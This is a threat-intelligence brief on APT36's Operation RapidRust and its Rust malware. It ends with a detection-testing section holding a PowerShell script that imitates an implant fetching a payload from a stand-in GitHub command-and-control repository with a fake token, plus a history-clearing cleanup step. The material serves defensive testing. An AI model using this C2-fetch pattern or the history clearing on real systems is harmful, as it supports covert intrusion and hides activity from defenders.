APT36 Launches Operation RapidRust with RUSTYSHADE and RUSTYMOVE

Summary

Pakistan-nexus threat actor APT36 is conducting a campaign tracked as Operation RapidRust against government and defense organizations. The group has introduced new Rust-based malware, including the RUSTYSHADE backdoor and RUSTYMOVE propagation tool. APT36 also uses specialized file-stealing scripts, PSNATCH and BASHNATCH, to collect and exfiltrate data through private GitHub repositories.

Investigation

Zscaler ThreatLabz identified new malware families and post-compromise tooling used by APT36 in August 2026. The investigation revealed RUSTYSHADE abusing the GitHub REST API for command-and-control and typosquatted domains for payload staging. Researchers also observed lateral movement attempts and RUSTYMOVE spreading through removable media to reach air-gapped environments.

Mitigation

Organizations should monitor unauthorized GitHub API usage and unusual outbound connections to cloud storage services such as Backblaze. Strict controls should be enforced on removable media, while suspicious scheduled tasks masquerading as legitimate updates should be detected. Endpoint monitoring should also identify unauthorized PowerShell or Bash script execution and unusual file exfiltration activity.

Response

If malicious activity is detected, affected Windows and Linux endpoints should be isolated immediately to prevent lateral movement and data exfiltration. Responders should inspect scheduled tasks and search for files such as DriverInstaller.zip or Automata-20.exe. Network logs should also be reviewed for connections to theprints[.]org, indiatodays[.]org, and suspicious GitHub API activity originating from the environment.

Simulation Execution

• Attack Narrative & Commands: The adversary has successfully deployed a RUSTYSHADE-like implant on a Windows workstation. To receive further instructions, the implant must communicate with its C2 hosted on GitHub. The implant will attempt to reach a specific repository to fetch a payload. To bypass basic perimeter filters that might block anonymous API access, the implant uses a hardcoded Personal Access Token (PAT) passed via the Authorization: token <TOKEN> header. This action is intended to look like a legitimate developer tool fetching repository metadata, but the specific combination of the repository URL and the token prefix in the header will trigger the detection rule.

• Regression Test Script:

  # Simulation script to mimic RUSTYSHADE C2 communication
  # This script generates a request that matches the detection logic:
  # 1. URL contains 'api.github.com/repos/'
  # 2. Header contains 'Authorization: token'
  
  $targetUrl = "https://api.github.com/repos/adversary-c2/malicious-repo/contents/config.json"
  $fakeToken = "ghp_sImUlAtEdToKeN1234567890AbCdEfGhIjKlMnOpQrStUvWxYz"
  
  # Constructing the header to match the exact 'token' string required by the rule
  $headers = @{
      "Authorization" = "token $fakeToken"
      "User-Agent"    = "RUSTYSHADE-Implant/1.0"
  }
  
  Write-Host "Attempting C2 communication to $targetUrl..."
  try {
      # We use -ErrorAction SilentlyContinue because the URL is fake and will return 404, 
      # but the proxy will still log the request attempt.
      Invoke-WebRequest -Uri $targetUrl -Headers $headers -Method Get -ErrorAction SilentlyContinue
      Write-Host "Simulation request sent successfully."
  } catch {
      Write-Host "Request sent (Expected error due to fake URL, but proxy logs should capture the attempt)."
  }

• Cleanup Commands:

  # No persistent changes were made to the system; 
  # however, we clear the command history for cleanliness.
  Clear-History